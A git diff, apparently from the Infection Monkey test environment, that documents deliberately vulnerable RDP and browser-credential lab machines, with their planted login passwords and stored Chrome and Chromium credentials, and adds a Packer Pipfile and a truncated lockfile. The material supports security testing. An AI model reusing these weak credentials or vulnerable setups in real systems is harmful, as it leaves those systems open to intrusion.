@@ -280,7 +284,10 @@ This prevents ssh exploitation, but allows tunneling. Server’s config: -Configured to disable traffic from/to 10.2.0.10 and 10.2.0.11(via ufw and iptables) +Configured to disable traffic from/to 10.2.0.10 and 10.2.0.11 (via ufw and iptables). +This machine has iptables rules configured that don't allow any machine to ping it. +We decided to keep it this way to ensure that plugins run even if the OS of a target is unknown. + Notes: @@ -1092,11 +1099,189 @@ setting: + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3-64 RDP

+

(10.2.3.64)

(Vulnerable)
OS:Windows Server 2016 x64
Software:Remote Desktop Protocol
Default RDP port:3389
Notes:User: m0nk3y, Password: P@ssw0rd!
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3-65 RDP

+

(10.2.3.65)

(Exploitable)
OS:Windows Server 2016 x64
Software:Remote Desktop Protocol
Default RDP port:3389
Notes:User: m0nk3y, Password: S3Cr3T1#
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3-66 Browser Credentials

+

(10.2.3.66)

(Exploitable)
OS:Windows Server 2016 x64
Software:Remote Desktop ProtocolGoogle Chrome
Default RDP port:3389
Notes: + +**RDP user:** + +--- + +Username: m0nk3y, Password: P@ssw0rd! + +--- + +**Stored Chrome credentials**: + +---- + +Website: forBBtests.com + +Username: forBBtests + +Password: supersecret + +---- + +Website: https://www.w3schools.com/howto/howto_css_login_form.asp + +Username: usernameFromForm + +Password: passwordFromForm +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3-67 Browser Credentials

+

(10.2.3.70)

(Vulnerable)
OS:Ubuntu 20.04LTS
Software:
SSHPort: 22
Notes: +Chromium is not installed on this machine, but it has chromium files with credentials. + +**SSH user:** + +--- + +Username: m0nk3y, Password: password + +--- + +**Stored Chromium credentials**: + +---- + +Website: https://akamai.com/ + +Username: my@email.com + +Password: mysecretpass + +---- + +Website: https://test.com/ + +Username: test + +Password: password123 + +---- + +Website: https://password.com/ + +Username: m0nk3y + +Password: blahblahblah + +---- +
- @@ -1128,7 +1313,7 @@ setting:

Nr. 250 MonkeyIsland

+

Nr. 250 MonkeyIsland

(10.2.2.250)

- diff --git a/envs/monkey_zoo/packer/Pipfile b/envs/monkey_zoo/packer/Pipfile new file mode 100644 index 00000000000..2f7f5304476 --- /dev/null +++ b/envs/monkey_zoo/packer/Pipfile @@ -0,0 +1,13 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] + +[dev-packages] +ansible = "==7.4.0" +pywinrm = "==0.4.3" + +[requires] +python_version = "3.11" diff --git a/envs/monkey_zoo/packer/Pipfile.lock b/envs/monkey_zoo/packer/Pipfile.lock new file mode 100644 index 00000000000..f882d36742c --- /dev/null +++ b/envs/monkey_zoo/packer/Pipfile.lock @@ -0,0 +1,430 @@ +{ + "_meta": { + "hash": { + "sha256": "8ec383088322cc575193dad1918cb26525ba2e0b6dcf37e53fbc2a8bcbb5d2b6" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.11" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": {}, + "develop": { + "ansible": { + "hashes": [ + "sha256:0964d6ec7b363d2d559f245c39b01798c720a85b207672ec2c9d83cf61564b90", + "sha256:c9b5cae2ff8168b3dc859fff12275338cd7c84ef37f62889076f82846bb4beb5" + ], + "index": "pypi", + "version": "==7.4.0" + }, + "ansible-core": { + "hashes": [ + "sha256:637f62c9547023fb4704cd5de1329dc7c02ef9e583cea1c3be2ce6c2fde7739c", + "sha256:7830a988112ca148390bfb7db25193f51a95ef6f8b9e0e54e67f65957db8f60d" + ], + "markers": "python_version >= '3.9'", + "version": "==2.14.8" + }, + "certifi": { + "hashes": [ + "sha256:539cc1d13202e33ca466e88b2807e29f4c13049d6d87031a3c110744495cb082", + "sha256:92d6037539857d8206b8f6ae472e8b77db8058fec5937a1ef3f54304089edbb9" + ], + "markers": "python_version >= '3.6'", + "version": "==2023.7.22" + }, + "cffi": { + "hashes": [ + "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5", + "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef", + "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104", + "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426", + "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405", + "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375", + "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a", + "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e", + "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc", + "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf", + "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185", + "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497", + "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3", + "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35", + "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c", + "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83", + "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21", + "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca", + "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984", + "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac", + "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd", + "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee", + "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a", + "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2", + "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192", + "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7", + "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585", + "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f", + "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e", + "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27", + "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b", + "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e", + "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e", + "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d", + "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c", + "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415", + "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82", + "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02", + "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314", + "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325", + "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c", + "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3", + "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914", + "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045", + "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d", + "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9", + "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5", + "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2", + "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c", + "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3", + "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2", + "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8", + "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d", + "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d", + "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9", + "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162", + "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76", + "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4", + "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e", + "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9", + "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6", + "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b", + "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01", + "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0" + ], + "version": "==1.15.1" + }, + "charset-normalizer": { + "hashes": [ + "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96", + "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c", + "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710", + "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706", + "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020", + "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252", + "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad", + "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329", + "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a", + "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f", + "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6", + "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4", + "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a", + "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46", + "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2", + "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23", + "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace", + "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd", + "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982", + "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10", + "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2", + "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea", + "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09", + "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5", + "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149", + "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489", + "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9", + "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80", + "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592", + "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3", + "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6", + "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed", + "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c", + "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200", + "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a", + "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e", + "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d", + "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6", + "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623", + "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669", + "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3", + "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa", + "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9", + "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2", + "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f", + "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1", + "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4", + "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a", + "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8", + "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3", + "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029", + "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f", + "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959", + "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22", + "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7", + "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952", + "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346", + "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e", + "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d", + "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299", + "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd", + "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a", + "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3", + "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037", + "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94", + "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c", + "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858", + "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a", + "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449", + "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c", + "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918", + "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1", + "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c", + "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac", + "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa" + ], + "markers": "python_full_version >= '3.7.0'", + "version": "==3.2.0" + }, + "cryptography": { + "hashes": [ + "sha256:01f1d9e537f9a15b037d5d9ee442b8c22e3ae11ce65ea1f3316a41c78756b711", + "sha256:079347de771f9282fbfe0e0236c716686950c19dee1b76240ab09ce1624d76d7", + "sha256:182be4171f9332b6741ee818ec27daff9fb00349f706629f5cbf417bd50e66fd", + "sha256:192255f539d7a89f2102d07d7375b1e0a81f7478925b3bc2e0549ebf739dae0e", + "sha256:2a034bf7d9ca894720f2ec1d8b7b5832d7e363571828037f9e0c4f18c1b58a58", + "sha256:342f3767e25876751e14f8459ad85e77e660537ca0a066e10e75df9c9e9099f0", + "sha256:439c3cc4c0d42fa999b83ded80a9a1fb54d53c58d6e59234cfe97f241e6c781d", + "sha256:49c3222bb8f8e800aead2e376cbef687bc9e3cb9b58b29a261210456a7783d83", + "sha256:674b669d5daa64206c38e507808aae49904c988fa0a71c935e7006a3e1e83831", + "sha256:7a9a3bced53b7f09da251685224d6a260c3cb291768f54954e28f03ef14e3766", + "sha256:7af244b012711a26196450d34f483357e42aeddb04128885d95a69bd8b14b69b", + "sha256:7d230bf856164de164ecb615ccc14c7fc6de6906ddd5b491f3af90d3514c925c", + "sha256:84609ade00a6ec59a89729e87a503c6e36af98ddcd566d5f3be52e29ba993182", + "sha256:9a6673c1828db6270b76b22cc696f40cde9043eb90373da5c2f8f2158957f42f", + "sha256:9b6d717393dbae53d4e52684ef4f022444fc1cce3c48c38cb74fca29e1f08eaa", + "sha256:9c3fe6534d59d071ee82081ca3d71eed3210f76ebd0361798c74abc2bcf347d4", + "sha256:a719399b99377b218dac6cf547b6ec54e6ef20207b6165126a280b0ce97e0d2a", + "sha256:b332cba64d99a70c1e0836902720887fb4529ea49ea7f5462cf6640e095e11d2", + "sha256:d124682c7a23c9764e54ca9ab5b308b14b18eba02722b8659fb238546de83a76", + "sha256:d73f419a56d74fef257955f51b18d046f3506270a5fd2ac5febbfa259d6c0fa5", + "sha256:f0dc40e6f7aa37af01aba07277d3d64d5a03dc66d682097541ec4da03cc140ee", + "sha256:f14ad275364c8b4e525d018f6716537ae7b6d369c094805cae45300847e0894f", + "sha256:f772610fe364372de33d76edcd313636a25684edb94cee53fd790195f5989d14" + ], + "markers": "python_version >= '3.7'", + "version": "==41.0.2" + }, + "idna": { + "hashes": [ + "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4", + "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2" + ], + "markers": "python_version >= '3.5'", + "version": "==3.4" + }, + "jinja2": { + "hashes": [ + "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852", + "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61" + ], + "markers": "python_version >= '3.7'", + "version": "==3.1.2" + }, + "markupsafe": { + "hashes": [ + "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e", + "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e", + "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431", + "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686", + "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559", + "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc", + "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c", + "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0", + "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4", + "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9", + "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575", + "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba", + "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d", + "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3", + "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00", + "sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155", + "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac", + "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52", + "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f", + "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8", + "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b", + "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24", + "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea", + "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198", + "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0", + "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee", + "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be", + "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2", + "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707", + "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6", + "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58", + "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779", + "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636", + "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c", + "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad", + "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee", + "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc", + "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2", + "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48", + "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7", + "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e", + "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b", + "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa", + "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5", + "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e", + "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb", + "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9", + "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57", + "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc", + "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2" + ], + "markers": "python_version >= '3.7'", + "version": "==2.1.3" + }, + "packaging": { + "hashes": [ + "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61", + "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f" + ], + "markers": "python_version >= '3.7'", + "version": "==23.1" + }, + "pycparser": { + "hashes": [ + "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9", + "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206" + ], + "version": "==2.21" + }, + "pyspnego": { + "hashes": [ + "sha256:07417f90328fb57c19a383e59b65060d4fc101441b74c34dbe4ba860775b0a3a", + "sha256:4b79d5ba55ada38833d2421c44ed30a7313c00cbf34fa919dd106049616307d3", + "sha256:58a17f7ba17f6cee72149911df6cc785ce7072744a386483957b74c62da654d8", + "sha256:6366e39ba251889e2573c7d037e7feec8af86aea6c3b32f22a8af33bf88265b6", + "sha256:6eea64f511bdfa192c2f80593ddf124258b0ea560327468953d18420e0ab3597", + "sha256:7515f00418324809eb1adec0afac93da006c03baba6c6fd1a981b5401b798f56", + "sha256:87a2c23e640f4f6ae3c391d1f56e287b72908080a0e6376f2f365da5a2117dca", + "sha256:aa43f00ed1c3b8e16a658613e2557a3ff9bea26acef867705eb4ee7f5e469ac3", + "sha256:c6aebe1fdc3990be2c137f3c3e041062243871b8161bc7adf4d269c3b6deda35", + "sha256:d031a7fa9c9ab3b67725e35affc90f8e6504518fb3ffe21573504e72b5a2fb5e", + "sha256:e7a92321272e3613c30f55a3324ef6d780bba8b723be8d50c35aac8409fc4028", + "sha256:ff4fecf488369d6634afb20f9e56eb3b187fb3c883d6551601bbad4f4badab62" + ], + "markers": "python_version >= '3.7'", + "version": "==0.9.1" + }, + "pywinrm": { + "hashes": [ + "sha256:995674bf5ac64b2562c9c56540473109e530d36bde10c262d5a5296121ad5565", + "sha256:c476c1e20dd0875da6fe4684c4d8e242dd537025907c2f11e1990c5aee5c9526" + ], + "index": "pypi", + "version": "==0.4.3" + }, + "pyyaml": { + "hashes": [ + "sha256:062582fca9fabdd2c8b54a3ef1c978d786e0f6b3a1510e0ac93ef59e0ddae2bc", + "sha256:1635fd110e8d85d55237ab316b5b011de701ea0f29d07611174a1b42f1444741", + "sha256:184c5108a2aca3c5b3d3bf9395d50893a7ab82a38004c8f61c258d4428e80206", + "sha256:18aeb1bf9a78867dc38b259769503436b7c72f7a1f1f4c93ff9a17de54319b27", + "sha256:1d4c7e777c441b20e32f52bd377e0c409713e8bb1386e1099c2415f26e479595", + "sha256:1e2722cc9fbb45d9b87631ac70924c11d3a401b2d7f410cc0e3bbf249f2dca62", + "sha256:1fe35611261b29bd1de0070f0b2f47cb6ff71fa6595c077e42bd0c419fa27b98", + "sha256:28c119d996beec18c05208a8bd78cbe4007878c6dd15091efb73a30e90539696", + "sha256:42f8152b8dbc4fe7d96729ec2b99c7097d656dc1213a3229ca5383f973a5ed6d", + "sha256:4fb147e7a67ef577a588a0e2c17b6db51dda102c71de36f8549b6816a96e1867", + "sha256:50550eb667afee136e9a77d6dc71ae76a44df8b3e51e41b77f6de2932bfe0f47", + "sha256:510c9deebc5c0225e8c96813043e62b680ba2f9c50a08d3724c7f28a747d1486", + "sha256:5773183b6446b2c99bb77e77595dd486303b4faab2b086e7b17bc6bef28865f6", + "sha256:596106435fa6ad000c2991a98fa58eeb8656ef2325d7e158344fb33864ed87e3", + "sha256:6965a7bc3cf88e5a1c3bd2e0b5c22f8d677dc88a455344035f03399034eb3007", + "sha256:69b023b2b4daa7548bcfbd4aa3da05b3a74b772db9e23b982788168117739938", + "sha256:704219a11b772aea0d8ecd7058d0082713c3562b4e271b849ad7dc4a5c90c13c", + "sha256:7e07cbde391ba96ab58e532ff4803f79c4129397514e1413a7dc761ccd755735", + "sha256:81e0b275a9ecc9c0c0c07b4b90ba548307583c125f54d5b6946cfee6360c733d", + "sha256:9046c58c4395dff28dd494285c82ba00b546adfc7ef001486fbf0324bc174fba", + 